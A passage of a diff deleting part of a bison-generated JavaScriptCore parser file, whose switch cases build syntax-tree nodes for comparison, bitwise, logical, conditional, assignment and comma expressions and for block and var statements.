-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessEqNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 123:
-
-/* Line 1455 of yacc.c  */
-#line 604 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) GreaterEqNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 124:
-
-/* Line 1455 of yacc.c  */
-#line 606 "../../JavaScriptCore/parser/Grammar.y"
-    { InstanceOfNode* node = new (GLOBAL_DATA) InstanceOfNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature);
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(3) - (3)]).first_column, (yylsp[(3) - (3)]).last_column);  
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 125:
-
-/* Line 1455 of yacc.c  */
-#line 610 "../../JavaScriptCore/parser/Grammar.y"
-    { InNode* node = new (GLOBAL_DATA) InNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature);
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(3) - (3)]).first_column, (yylsp[(3) - (3)]).last_column);  
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 127:
-
-/* Line 1455 of yacc.c  */
-#line 617 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) EqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 128:
-
-/* Line 1455 of yacc.c  */
-#line 618 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NotEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 129:
-
-/* Line 1455 of yacc.c  */
-#line 619 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) StrictEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 130:
-
-/* Line 1455 of yacc.c  */
-#line 620 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NotStrictEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 132:
-
-/* Line 1455 of yacc.c  */
-#line 626 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) EqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 133:
-
-/* Line 1455 of yacc.c  */
-#line 628 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NotEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 134:
-
-/* Line 1455 of yacc.c  */
-#line 630 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) StrictEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 135:
-
-/* Line 1455 of yacc.c  */
-#line 632 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NotStrictEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 137:
-
-/* Line 1455 of yacc.c  */
-#line 638 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) EqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 138:
-
-/* Line 1455 of yacc.c  */
-#line 639 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NotEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 139:
-
-/* Line 1455 of yacc.c  */
-#line 641 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) StrictEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 140:
-
-/* Line 1455 of yacc.c  */
-#line 643 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NotStrictEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 142:
-
-/* Line 1455 of yacc.c  */
-#line 648 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitAndNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 144:
-
-/* Line 1455 of yacc.c  */
-#line 654 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitAndNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 146:
-
-/* Line 1455 of yacc.c  */
-#line 659 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitAndNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 148:
-
-/* Line 1455 of yacc.c  */
-#line 664 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitXOrNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 150:
-
-/* Line 1455 of yacc.c  */
-#line 670 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitXOrNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 152:
-
-/* Line 1455 of yacc.c  */
-#line 676 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitXOrNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 154:
-
-/* Line 1455 of yacc.c  */
-#line 681 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitOrNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 156:
-
-/* Line 1455 of yacc.c  */
-#line 687 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitOrNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 158:
-
-/* Line 1455 of yacc.c  */
-#line 693 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitOrNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 160:
-
-/* Line 1455 of yacc.c  */
-#line 698 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalOpNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, OpLogicalAnd), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 162:
-
-/* Line 1455 of yacc.c  */
-#line 704 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalOpNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, OpLogicalAnd), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 164:
-
-/* Line 1455 of yacc.c  */
-#line 710 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalOpNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, OpLogicalAnd), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 166:
-
-/* Line 1455 of yacc.c  */
-#line 715 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalOpNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, OpLogicalOr), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 168:
-
-/* Line 1455 of yacc.c  */
-#line 721 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalOpNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, OpLogicalOr), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 170:
-
-/* Line 1455 of yacc.c  */
-#line 726 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalOpNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, OpLogicalOr), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 172:
-
-/* Line 1455 of yacc.c  */
-#line 732 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ConditionalNode(GLOBAL_DATA, (yyvsp[(1) - (5)].expressionNode).m_node, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].expressionNode).m_node), (yyvsp[(1) - (5)].expressionNode).m_features | (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].expressionNode).m_features, (yyvsp[(1) - (5)].expressionNode).m_numConstants + (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 174:
-
-/* Line 1455 of yacc.c  */
-#line 738 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ConditionalNode(GLOBAL_DATA, (yyvsp[(1) - (5)].expressionNode).m_node, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].expressionNode).m_node), (yyvsp[(1) - (5)].expressionNode).m_features | (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].expressionNode).m_features, (yyvsp[(1) - (5)].expressionNode).m_numConstants + (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 176:
-
-/* Line 1455 of yacc.c  */
-#line 744 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ConditionalNode(GLOBAL_DATA, (yyvsp[(1) - (5)].expressionNode).m_node, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].expressionNode).m_node), (yyvsp[(1) - (5)].expressionNode).m_features | (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].expressionNode).m_features, (yyvsp[(1) - (5)].expressionNode).m_numConstants + (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 178:
-
-/* Line 1455 of yacc.c  */
-#line 750 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeAssignNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(2) - (3)].op), (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(1) - (3)].expressionNode).m_features & AssignFeature, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature, 
-                                                                                                     (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).first_column + 1, (yylsp[(3) - (3)]).last_column), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); 
-                                        ;}
-    break;
-
-  case 180:
-
-/* Line 1455 of yacc.c  */
-#line 758 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeAssignNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(2) - (3)].op), (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(1) - (3)].expressionNode).m_features & AssignFeature, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature, 
-                                                                                                     (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).first_column + 1, (yylsp[(3) - (3)]).last_column), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants);
-                                        ;}
-    break;
-
-  case 182:
-
-/* Line 1455 of yacc.c  */
-#line 766 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeAssignNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(2) - (3)].op), (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(1) - (3)].expressionNode).m_features & AssignFeature, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature,
-                                                                                                     (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).first_column + 1, (yylsp[(3) - (3)]).last_column), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); 
-                                        ;}
-    break;
-
-  case 183:
-
-/* Line 1455 of yacc.c  */
-#line 772 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.op) = OpEqual; ;}
-    break;
-
-  case 184:
-
-/* Line 1455 of yacc.c  */
-#line 773 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.op) = OpPlusEq; ;}
-    break;
-
-  case 185:
-
-/* Line 1455 of yacc.c  */
-#line 774 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.op) = OpMinusEq; ;}
-    break;
-
-  case 186:
-
-/* Line 1455 of yacc.c  */
-#line 775 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.op) = OpMultEq; ;}
-    break;
-
-  case 187:
-
-/* Line 1455 of yacc.c  */
-#line 776 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.op) = OpDivEq; ;}
-    break;
-
-  case 188:
-
-/* Line 1455 of yacc.c  */
-#line 777 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.op) = OpLShift; ;}
-    break;
-
-  case 189:
-
-/* Line 1455 of yacc.c  */
-#line 778 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.op) = OpRShift; ;}
-    break;
-
-  case 190:
-
-/* Line 1455 of yacc.c  */
-#line 779 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.op) = OpURShift; ;}
-    break;
-
-  case 191:
-
-/* Line 1455 of yacc.c  */
-#line 780 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.op) = OpAndEq; ;}
-    break;
-
-  case 192:
-
-/* Line 1455 of yacc.c  */
-#line 781 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.op) = OpXOrEq; ;}
-    break;
-
-  case 193:
-
-/* Line 1455 of yacc.c  */
-#line 782 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.op) = OpOrEq; ;}
-    break;
-
-  case 194:
-
-/* Line 1455 of yacc.c  */
-#line 783 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.op) = OpModEq; ;}
-    break;
-
-  case 196:
-
-/* Line 1455 of yacc.c  */
-#line 788 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(combineCommaNodes(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 198:
-
-/* Line 1455 of yacc.c  */
-#line 793 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(combineCommaNodes(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 200:
-
-/* Line 1455 of yacc.c  */
-#line 798 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(combineCommaNodes(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 218:
-
-/* Line 1455 of yacc.c  */
-#line 822 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) BlockNode(GLOBAL_DATA, 0), 0, 0, 0, 0);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(2) - (2)])); ;}
-    break;
-
-  case 219:
-
-/* Line 1455 of yacc.c  */
-#line 824 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) BlockNode(GLOBAL_DATA, (yyvsp[(2) - (3)].sourceElements).m_node), (yyvsp[(2) - (3)].sourceElements).m_varDeclarations, (yyvsp[(2) - (3)].sourceElements).m_funcDeclarations, (yyvsp[(2) - (3)].sourceElements).m_features, (yyvsp[(2) - (3)].sourceElements).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(3) - (3)])); ;}
-    break;
-
-  case 220:
-
-/* Line 1455 of yacc.c  */
-#line 829 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(makeVarStatementNode(GLOBAL_DATA, (yyvsp[(2) - (3)].varDeclList).m_node), (yyvsp[(2) - (3)].varDeclList).m_varDeclarations, (yyvsp[(2) - (3)].varDeclList).m_funcDeclarations, (yyvsp[(2) - (3)].varDeclList).m_features, (yyvsp[(2) - (3)].varDeclList).m_numConstants);
